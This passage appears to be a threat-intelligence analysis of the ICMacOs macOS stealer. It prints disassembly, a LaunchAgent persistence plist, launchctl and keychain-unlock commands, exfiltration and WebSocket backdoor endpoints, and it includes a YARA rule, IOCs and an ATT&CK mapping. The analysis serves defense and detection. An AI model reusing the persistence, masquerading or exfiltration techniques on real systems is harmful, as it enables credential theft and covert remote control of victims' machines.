3.rtfRich text documents
4.docLegacy Microsoft Word documents
5.docxMicrosoft Word documents
6.xlsLegacy Microsoft Excel documents
7.xlsxMicrosoft Excel spreadsheets
8.pptLegacy Microsoft PowerPoint documents
9.pptxMicrosoft PowerPoint slides
10.pdfPDF documents
11.csvData exports, account transactions
12.jsonConfigurations, API structures
13.xmlApplication data and configurations
14.yamlCloud / CI/CD configuration files
15.ymlCloud / CI/CD configuration files
16.keyCryptographic private keys
17.keysKeystore bundles
18.walletCryptocurrency wallet files
19.datBitcoin Core wallet.dat and data stores
20.kdbxKeePass encrypted password databases
21.envDevelopment and API secrets

Staging, LaunchAgent persistence, and network exfiltration

Once the malware finishes harvesting browser credentials, crypto wallets, developer tokens, and Apple Notes, it faces two operational requirements:

1.It must survive user logouts and system restarts so the operator retains continuous access.
2.It must bundle all collected data and transmit it out of the host network to the attacker's infrastructure.

Phase 1: Local staging and archive creation

Throughout its execution, ICMacOs writes collected databases, key files, and system profiles into a hidden staging directory:

/tmp/.systemd-private-helper/

The malware author selected the name .systemd-private-helper to blend in with standard UNIX daemon naming conventions, even though macOS uses launchd rather than Linux systemd.

Once harvesting concludes, the binary compresses the entire staging folder into a single ZIP archive:

/tmp/.systemd-private-helper/organized.zip

Phase 2: LaunchAgent persistence (main.installPersistence at 0x100433140)

On macOS, the standard user-level persistence mechanism is a LaunchAgent. LaunchAgents are property list (.plist) files placed in ~/Library/LaunchAgents/ that the macOS launchd process automatically reads and executes when the user logs in.

1. Binary relocation and masquerading

The malware does not leave its persistent copy in /tmp or the Downloads folder. Instead, it creates a hidden path in the user's home directory:

hidden path in user’s home directory
Figure: hidden path in user’s home directory Click to zoom ↗
ARM64 DISASSEMBLY
100433178  bl      _os.UserHomeDir          ; Get current user's home path
...
1004331a4  adrp    x0, 0x100481000
1004331a8  add     x0, x0, #0x246           ; ".local"
...
1004331b8  adrp    x0, 0x100480000
1004331bc  add     x0, x0, #0xed4           ; "share"
...
1004331cc  adrp    x0, 0x100484000
1004331d0  add     x0, x0, #0x9d6           ; ".systemd-helper"
1004331e4  bl      _path/filepath.Join      ; Build ~/.local/share/.systemd-helper
1004331f0  mov     x2, #0x1ed               ; Octal 0755
1004331f4  bl      _os.MkdirAll             ; Create directory with rwxr-xr-x

After creating ~/.local/share/.systemd-helper, it copies the running executable (os.Executable()) into that folder under the hidden name .updater:

copying
Figure: copying Click to zoom ↗
ARM64 DISASSEMBLY
1004332a0  adrp    x3, 0x100481000
1004332a4  add     x3, x3, #0xb96           ; ".updater"
1004332b8  bl      _path/filepath.Join      ; ~/.local/share/.systemd-helper/.updater
1004332d4  bl      0x100438430              ; Copy file routine
100433328  mov     x2, #0x1ed               ; Octal 0755
10043332c  bl      _os.Chmod                ; Ensure executable permissions

2. Crafting the LaunchAgent property list

Next, the function targets ~/Library/LaunchAgents/com.apple.systemupdater.plist:

targeting .plist
Figure: targeting .plist Click to zoom ↗
ARM64 DISASSEMBLY
    100433354  adrp    x3, 0x100481000                                                                     
    100433358  add     x3, x3, #0x5c8           ; "Library"                                                
    ...                                                                                                    
    100433368  adrp    x3, 0x100483000                                                                     
    10043336c  add     x3, x3, #0x60a           ; "LaunchAgents"                                           
    100433390  bl      _os.MkdirAll             ; Create ~/Library/LaunchAgents/                           
    ...                                                                                                    
    1004333b4  adrp    x3, 0x10048c000                                                                     
    1004333b8  add     x3, x3, #0x6f0           ; "com.apple.systemupdater.plist"                          
    1004333cc  bl      _path/filepath.Join                                                                 

The binary embeds a raw XML property list template directly in read-only memory at address 0x10049e19d:

XML property list template at 0x10049e19d
Figure: XML property list template at 0x10049e19d Click to zoom ↗
XML / PLIST
    <?xml version="1.0" encoding="UTF-8"?>                                                                 
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 
    <plist version="1.0">                                                                                  
    <dict>                                                                                                 
        <key>Label</key>
        <string>com.apple.systemupdater</string>
        <key>ProgramArguments</key>
        <array>
            <string>%s</string>                                                                                   
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>StartInterval</key>
        <integer>3600</integer>
    </dict>                                                                                                
    </plist> 

Four properties in this configuration define how macOS handles the persistence:

▪Label: Masquerades as an official Apple operating system service (com.apple.systemupdater).
▪ProgramArguments: Formatted via fmt.Sprintf with the path to ~/.local/share/.systemd-helper/.updater.
▪RunAtLoad: Set to <true/>, forcing launchd to launch the binary immediately upon user login.
▪KeepAlive: Set to <true/>, instructing macOS to restart the process if it terminates or crashes.
▪StartInterval: Set to 3600, ensuring the agent re-executes every hour (3,600 seconds).

The malware writes this plist to disk via os.WriteFile (0x100433440) with permissions 0644 (0x1a4).

Writing to plist.
Figure: Writing to plist. Click to zoom ↗

3. Dual-mode launchctl registration

Modern versions of macOS (macOS Ventura, Sonoma, and Sequoia) updated the launchctl interface. Older commands like launchctl load are deprecated in favor of domain-based commands like launchctl bootstrap gui/<UID>.

ARM64 DISASSEMBLY
  ICMacOs supports both interfaces:                                                                        

    # Attempt 1: Legacy launchctl load -w                                                                  
    1004334ac  add     x5, x5, #0xbfc           ; "load"                                                   
    1004334c0  add     x5, x5, #0x943           ; "-w"                                                     
    1004334dc  add     x0, x0, #0x237           ; "launchctl"                                              
    1004334f0  bl      _os/exec.Command         ; launchctl load -w                                        
    ~/Library/LaunchAgents/com.apple.systemupdater.plist                                                   
    1004334f4  bl      _os/exec.(*Cmd).Run                                                                 
    1004334f8  cbz     x0, 0x1004335ac          ; If successful (err == nil), skip fallback                

    # Attempt 2: Modern launchctl bootstrap fallback                                                       
    1004334fc  bl      _os.Getuid               ; Query victim user ID (e.g. 501)                          
    100433520  add     x0, x0, #0x24c           ; "gui/%d" -> "gui/501"                                    
    100433558  add     x3, x3, #0x240           ; "bootstrap"                                              
    10043357c  add     x0, x0, #0x237           ; "launchctl"                                              
    100433590  bl      _os/exec.Command         ; launchctl bootstrap gui/501 ~/Library/LaunchAgents/...   
    100433594  bl      _os/exec.(*Cmd).Run                                                                 

If launchctl load -w returns an error, the code retrieves the user's numeric ID via _os.Getuid, formats the domain string "gui/%d", and registers the service via launchctl bootstrap gui/<UID>.

Finally, it saves local execution settings (password, build, and owner) into ~/.local/share/.systemd-helper/config.json.

Phase 3: Network exfiltration (main.upload at 0x100438a20)

With the staging archive /tmp/.systemd-private-helper/organized.zip prepared, the binary handles network transmission.

staging archive
Figure: staging archive Click to zoom ↗
ARM64 DISASSEMBLY
100438ab8  bl      _os.ReadFile             ; Read /tmp/.systemd-private-helper/organized.zip
...
100438bd4  bl      _mime/multipart.(*Writer).CreateFormFile ; Field: "file", Filename: "organized.zip"

The function initializes an HTTP multipart/form-data payload and attaches host metadata:

▪Form field "file": Contains the raw binary stream of organized.zip.
▪Form field "build": Identifier of the malware build.
▪Form field "owner": Identifier of the threat actor campaign.
▪Form field "password": Extracted or configured user password.
▪Form field "username": Host account name.
▪Form field "hostname": Computer hostname.
▪Form field "os_version": macOS operating system release string.
ASSEMBLY (ASM)

    100438dfc  bl      _net/http.NewRequestWithContext ; POST https://escapeai.live/upload                 
    ...                                                                                                    
    100438f00  *x0_36 = "Go-http-client/2.0"    ; User-Agent header                                        

The request is dispatched with header User-Agent: Go-http-client/2.0 to the attacker's collection server:

POST https[:]//escapeai[.]live/upload

User agent
Figure: User agent Click to zoom ↗
HTTP POST request
Figure: HTTP POST request Click to zoom ↗

Interactive WebSocket C2 backdoor

Most commodity information stealers are one-way data conduits: they run, harvest credentials, upload a ZIP archive via an HTTP POST request, and terminate.

ICMacOs diverges from standard stealers by deploying a bidirectional command-and-control (C2) backdoor via WebSockets (_main.wsClient at 0x1004323c0). This allows the threat actor to interact with the infected Mac in real time, re-harvest credentials with newly discovered passwords, and execute arbitrary terminal commands.

The WebSocket connection handshake

Using the imported github.com/gorilla/websocket library, the malware formats a connection URL containing the victim's hardware identifier and username:

Formatting connection url
Figure: Formatting connection url Click to zoom ↗
ARM64 DISASSEMBLY
100432478  bl      _fmt.Sprintf             ; "wss://escapeai.live/ws?mac_id=%s&username=%s"
...
100432518  bl      _main.logMsg             ; "WS: connected"

The malware opens a persistent connection to wss://escapeai.live/ws. Once connected, it enters an infinite message-reading loop and logs incoming commands with the format string "WS cmd: %s".

Supported C2 commands

The WebSocket handler processes four distinct command directives:

1. Keep-alive check (ping)

When the server sends "ping", the client responds with "pong" at 0x100432760:

pong
Figure: pong Click to zoom ↗
ARM64 DISASSEMBLY
100432760  mov     x0, #0x676e6f70          ; ASCII "pong"
100432768  bl      _github.com/gorilla/websocket.(*Conn).WriteMessage

2. Re-harvesting pipeline (restuck)

If the server sends "restuck", the malware replies with "restuck:started" (0x100432670), logs "Restuck: restarting", and restarts the entire data collection pipeline. This allows the operator to pull updated browser sessions or crypto wallets without reinfecting the system.

restuck
Figure: restuck Click to zoom ↗

3. Targeted Keychain unlock and re-harvest (restuck:<password>)

If the operator discovers the victim's macOS account password (e.g., from browser autofill or phishing dialogs), the C2 issues:

restuck:<password>

The malware splits the string, extracts the password, and executes:

splits the string, extracts the password, and executes
Figure: splits the string, extracts the password, and executes Click to zoom ↗
ARM64 DISASSEMBLY
100432a50  bl      _os.Getenv               ; Read $HOME
100432a74  add     x0, x0, #0xaec           ; "Library/Keychains/login.keychain-db"
100432aa8  add     x1, x1, #0x9b8           ; "unlock-keychain"
100432af0  bl      _os/exec.Command         ; security unlock-keychain -p <password> ~/Library/Keychains/login.keychain-db
▪If the password fails to unlock the Keychain, it replies with "restuck:invalid_password" (0x100432b14) and logs "Restuck: invalid password".
▪If the unlock succeeds, it replies with "restuck:started" (0x100432b74) and re-runs the harvesting routine with full Keychain access.
Re-harvesting pipeline
Figure: Re-harvesting pipeline Click to zoom ↗

4. Remote interactive shell (shell:<command>)

The malware includes an arbitrary shell execution mechanism:

ARM64 DISASSEMBLY
100432724  bl      _runtime.memequal        ; Compare command prefix against "shell:"
...
100432854  bl      _os/exec.CommandContext  ; Spawn "bash", "-c", <command>
...
1004328e8  bl      _fmt.Sprintf             ; Format "shell_result:%s"
1004329b0  mov     x0, ...                  ; Error fallback: "Command timeout (30s)"

The client slices off the "shell:" prefix, configures an execution context with a hardcoded 30-second timeout, and

spawns /bin/bash -c <command>.

Both standard output and standard error are captured, formatted as shell_result:<output>, and sent back to the operator over the WebSocket channel. If a command runs longer than 30 seconds, it kills the process and returns shell_result: Command timeout (30s).

Detection engineering: YARA rule

YARA RULE
rule osx_stealer_icmacos {
    meta:
        description = "ICMacOs Apple Silicon stealer across multiple campaign domains"
        author = "Chandra Kant Bauri"
        date = "2026-11-14"
        platform = "macOS"
        family = "ICMacOs"
        sample = "d9df05a3fb68d302ecf134a1214b609c6ec0a3fb9122907214afac3908b587f4"

    strings:
        // Author and module anchors
        $author_mod       = "github.com/ultra-supara/ICMacOs" ascii
        $author_tg        = "https://t.me/ICMACOS" ascii
        $author_forum     = "https://forum.exploit.in/topic/291615/" ascii

        // Staging and persistence markers
        $op_plist         = "com.apple.systemupdater.plist" ascii
        $op_pdir          = ".systemd-helper" ascii
        $op_stage         = "/tmp/.systemd-private-helper" ascii
        $op_zip           = "organized.zip" ascii
        $op_log           = "/tmp/.cache-update.log" ascii

        // Evasion and operational indicators
        $op_tcc           = "Safari: TCC BLOCKED" ascii
        $op_cis           = "CIS country detected" ascii
        $op_pwd           = "Restuck: invalid password" ascii
        $op_shell         = "Command timeout (30s)" ascii
        $op_keychain      = "moond4rk/keychainbreaker" ascii

        // Cloud and developer secret harvesting
        $op_dev_start     = "collectDevSecrets START" ascii
        $op_dev_env       = "DevSecrets: %d env files collected" ascii
        $op_gcloud        = "gcloud_credentials.json" ascii

        // Messaging and communication theft
        $op_msg_wa        = "group.net.whatsapp.WhatsApp.shared" ascii
        $op_msg_im        = "Messages: dir not found, skip" ascii
        $op_msg_tg        = "Telegram: tdata copied" ascii
        $op_msg_dc        = "Discord leveldb: %s copied" ascii

        // Cryptocurrency wallets and file harvesting
        $op_wallets       = "Wallets: %d collected" ascii
        $op_exodus        = "Exodus: collection done" ascii
        $op_grabber       = "Filegrabber" ascii

    condition:
        (uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and
        
        // file size envelope (Go compiled stealer cluster is ~14.8 MB)
        (filesize > 5MB and filesize < 35MB) and
        
        // Either author identity matches, OR at least 4 operational markers co-occur
        (
            1 of ($author*) or
            4 of ($op_*)
        )
}

Indicators of Compromise (IOCs)

1. Cluster File Hashes

All cryptographic hashes computed directly from disk.

SHA-256MD5File Size (Bytes)Associated C2
d9df05a3fb68d302ecf134a1214b609c6ec0a3fb9122907214afac3908b587f4
386922e499ef6c147fd158603bd7b3ce
14,866,642escapeai.live
ad37f66434ff098ffccf20caf5753d0b2f180a2904c389970ad0bb0294c046e4
8e8f1e01245ab3cd1a2e6d7e62461c1
14,866,578escapeai.live
68c1691d2be97fa6119aaf85f20a76a5fbb81cf560f2c527ca517b12e51ee0ca
f9f60f0a709f6185a63deb3c501fb6b2
14,872,032miumaco.space
afdcaa1830a83f8ad418ac6d21aabe2ba626443956a3caf01054d5b339b9d8cb
da8a0233569a74ffa3aca4d0f1fb988e
14,866,578mikoblico.xyz

2. Host Filesystem & Staging Artifacts

PathTypeDescription
/tmp/.systemd-private-helper/DirectoryRoot staging directory
/tmp/.systemd-private-helper/organized.zipFileFinal staged ZIP archive ready for C2 upload
/tmp/.systemd-private-helper/DevSecrets/DirectoryStaged cloud credentials (AWS, GCP, Kubernetes, Docker), databases, SSH keys, and .env files
/tmp/.systemd-private-helper/WhatsApp/DirectoryStaged WhatsApp databases (ChatStorage.sqlite, axolotl.db, session keys)
/tmp/.systemd-private-helper/Telegram/tdata/DirectoryStaged Telegram Desktop session state and keys
/tmp/.systemd-private-helper/Messages/DirectoryStaged iMessage and SMS databases (chat.db, chat.db-wal, chat.db-shm)
/tmp/.systemd-private-helper/Discord/DirectoryStaged Discord LevelDB tokens and session records
/tmp/.systemd-private-helper/CallHistory/DirectoryStaged FaceTime and phone call history databases
/tmp/.systemd-private-helper/Outlook/DirectoryStaged Microsoft Outlook profiles and credentials
/tmp/.systemd-private-helper/Wallets/DirectoryStaged cryptocurrency wallet folders (29 desktop wallet profiles)
/tmp/.systemd-private-helper/Filegrabber/DirectoryHarvested sensitive files matching 21 extensions from Desktop, Documents, Downloads, and SSH
/tmp/.cache-update.logFileMalware runtime debug log file
~/.local/share/.systemd-helper/DirectoryPersistence installation folder
~/.local/share/.systemd-helper/.updaterFilePersisted hidden copy of malware executable
~/.local/share/.systemd-helper/config.jsonFileLocal persistence tracking metadata
~/Library/LaunchAgents/com.apple.systemupdater.plistFileLaunchAgent plist file executing .updater on user login

3. Network Infrastructure

ProtocolDestinationPurpose
HTTPS GEThttps://ipinfo.io/countryGeofence evasion check (CIS country exit)
HTTPS POSThttps://escapeai.live/uploadPrimary payload exfiltration endpoint
WSSwss://escapeai.live/wsInteractive remote shell / C2 backdoor
HTTPS POSThttps://miumaco.space/uploadPrimary payload exfiltration endpoint
WSSwss://miumaco.space/wsInteractive remote shell / C2 backdoor
HTTPS POSThttps://mikoblico.xyz/uploadPrimary payload exfiltration endpoint
WSSwss://mikoblico.xyz/wsInteractive remote shell / C2 backdoor
Telegram URIhttps://t.me/ICMACOSAuthor support channel string
Forum URIhttps://forum.exploit.in/topic/291615/Actor sales thread string

MITRE ATT&CK Mapping

TacticTechnique IDTechnique NameBinary Implementation & Verified Evidence
ExecutionATT&CKT1059.004↗Command and Scripting Interpreter: Unix ShellDisassembly of _main.wsClient executes incoming shell:<cmd> strings via bash -c using Go os/exec.Command.
PersistenceATT&CKT1543.001↗Event Triggered Execution: Launch AgentRoutine _main.installPersistence writes ~/Library/LaunchAgents/com.apple.systemupdater.plist configured to run ~/.local/share/.systemd-helper/.updater at user login.
Defense EvasionATT&CKT1036.005↗Masquerading: Match Legitimate Name or LocationStaging and persistence paths masquerade as system services: /tmp/.systemd-private-helper/, .systemd-helper, and com.apple.systemupdater.plist.
Defense EvasionATT&CKT1564.001↗Hide Artifacts: Hidden Files and DirectoriesUses dot-prefixed paths for staging directories, log files (/tmp/.cache-update.log), and executables (.updater).
Defense EvasionATT&CKT1553.002↗Subvert Trust Controls: Code SigningBinary is signed with an ad-hoc linker signature (0x20002(adhoc,linker-signed)) with identifier a.out to bypass basic Gatekeeper execution blocks.
Defense EvasionATT&CKT1562.001↗Impair Defenses: Disable or Modify ToolsSubroutine _main.killOldProcesses parses /bin/ps -eo pid,command output and kills existing processes matching conflicting names.
DiscoveryATT&CKT1614.001↗System Location Discovery: Geolocation InformationSubroutine _main.getIsCIS sends an HTTPS GET request to https://ipinfo.io/country and halts if the response matches a CIS country code.
DiscoveryATT&CKT1057↗Process DiscoverySubroutine _main.killOldProcesses enumerates running system processes using /bin/ps -eo pid,command.
DiscoveryATT&CKT1082↗System Information DiscoverySubroutines collect hardware UUID, hostname, OS version, and logged-in username for inclusion in exfiltration metadata.
DiscoveryATT&CKT1083↗File and Directory Discovery_main.collectFolder walks user directories (~/Desktop, ~/Documents, ~/Downloads, ~/.ssh) to discover targeted file types.
Credential AccessATT&CKT1555.003↗Credentials from Password Stores: Web BrowsersPackage _decrypter targets 12 Chromium browsers, deriving Safe Storage master keys via PBKDF2 (1003 iterations) to decrypt AES-128-CBC credentials.
Credential AccessATT&CKT1539↗Steal Web Session CookieRoutine _decrypter.Chromium extracts and decrypts SQLite cookie stores across all targeted Chromium profiles.
Credential AccessATT&CKT1552.001↗Unsecured Credentials: Credentials in Files_main.collectDevSecrets extracts cloud credentials (AWS, GCP, Kubernetes, Docker), database profiles (.pgpass, .my.cnf), and recursively scans for .env files.
Credential AccessATT&CKT1552.004↗Unsecured Credentials: Private Keys_main.collectDevSecrets and _main.collectFolder extract SSH private keys (id_rsa, id_ed25519, id_ecdsa) up to a 100 KB size limit.
Credential AccessATT&CKT1555.001↗Credentials from Password Stores: KeychainContains embedded package github.com/ultra-supara/ICMacOs/internal/keychainbreaker to dump macOS keychain data using AppleScript password prompts.
CollectionATT&CKT1119↗Automated CollectionAutomated harvesting scripts systematically scrape browsers, messaging stores, 29 cryptocurrency wallets, and developer files into designated subdirectories.
CollectionATT&CKT1005↗Data from Local SystemGathers local SQLite databases for WhatsApp (ChatStorage.sqlite, axolotl.db), Apple Messages (chat.db), Telegram Desktop (tdata), and Discord (leveldb).
CollectionATT&CKT1074.001↗Data Staged: Local Data StagingAggregates all stolen data in structured subfolders beneath /tmp/.systemd-private-helper/.
CollectionATT&CKT1560.001↗Archive Collected Data: Archive via UtilityCompresses all staged files into /tmp/.systemd-private-helper/organized.zip using the Go standard library archive/zip package.
Command and ControlATT&CKT1071.001↗Application Layer Protocol: Web ProtocolsUses HTTPS POST for file uploads (/upload) and WebSocket connections (/ws) for interactive command processing.
Command and ControlATT&CKT1059↗Command and Scripting InterpreterInteractive WebSocket backdoor accepts remote instructions (shell:<cmd>) and returns combined stdout and stderr over the socket.
ExfiltrationATT&CKT1041↗Exfiltration Over C2 ChannelTransmits the staged organized.zip archive to C2 endpoints via an HTTPS multipart form-data POST request.

Conclusion

Static analysis of the ICMacOs binary reveals an ARM64 macOS threat structured to pair bulk credential harvesting with an interactive remote backdoor.

The disassembly details routines that target credentials across 12 Chromium browsers, 29 desktop cryptocurrency wallets, cloud and developer configurations (AWS, GCP, Docker, Kubernetes), WhatsApp and iMessage stores, and local documents matching 21 specific file extensions.

The binary stages collected artifacts into /tmp/.systemd-private-helper/, compresses them into organized.zip, and uploads the archive over HTTPS. It contains logic to install persistence through a LaunchAgent (com.apple.systemupdater.plist) and maintain an interactive WebSocket connection (/ws) granting remote bash shell execution.

Copied